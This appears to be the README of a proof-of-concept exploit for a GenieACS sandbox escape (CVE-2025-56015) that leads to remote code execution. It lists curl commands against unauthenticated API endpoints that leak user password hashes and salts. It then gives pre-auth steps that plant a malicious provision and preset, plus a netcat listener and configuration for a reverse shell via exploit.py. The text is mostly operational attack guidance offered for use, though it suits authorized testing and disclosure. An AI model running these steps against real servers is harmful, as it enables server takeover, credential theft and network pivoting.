Proof-of-Concept exploit for CVE-2025-56015 a critical sandbox escape and code injection vulnerability in GenieACS allowing arbitrary JavaScript execution in the provisioning context. By leveraging the declare.constructor.constructor prototype chain, an attacker can escape the restricted JavaScript environment, access the underlying Node.js child_process and net modules, and achieve full remote code execution (RCE).
Exploit type: Remote
Authentication: Requires network access to GenieACS NBI (Port 7557) and ACS (Port 7547)
Impact: Full server compromise, reverse shell execution, network pivoting
The NBI endpoint on Port 7557 allows unauthenticated access to retrieve sensitive data. Example API endpoints include:
Get Users Data:
$ curl 'http://myhost:7557/users/'
Response includes sensitive information such as password hashes and salts.
Get Files List:
$ curl 'http://myhost:7557/files/'
Get Provisions Details:
$ curl 'http://myhost:7557/provisions/'
Additionally, files can be downloaded directly from the file server (Port 7567) without authentication:
wget 'http://myhost:7567/SCR-20250623-qjoi.png'
A test debug endpoint inside a sandbox restricts direct access to the Node.js process object. However, bypassing this restriction is possible via object traversal, specifically using the constructor chain (e.g., constructor.constructor).
By calling this on available objects (like declare), attackers can escape the sandbox context and gain access to the global process object. This grants the ability to read environment variables and execute arbitrary commands.
Post-Auth RCE:
Provision scripts can be executed directly via the API endpoint /api/devices/{device_id}/tasks to achieve a shell. Requests sent through the NBI alone are queued but not executed immediately.
Pre-Auth RCE (Unauthenticated RCE): Using the NBI API, an attacker can create provisions and presets without authentication. The preset serves to run provision scripts automatically when a device sends an event through the CWMP interface.
Steps to Exploit:
PUT /provisions/{provision_name}.PUT /presets/{preset_name} (linking it to an event like "Periodic").declare.constructor.constructorPrior to running the exploit, update the ACS_URL, NBI_URL, LHOST, and LPORT configurations directly within exploit.py to match your environment and attacker machine settings.
# Start listener on your attacker machine
nc -lvnp 4444
# Run the exploit
python3 exploit.py
requests library (pip install requests)This code is provided for educational and authorized security testing purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
Vulnerabilities discovered and exploit developed by:
From Datafarm Co., Ltd.
Developed by DF Pentest Team • Thailand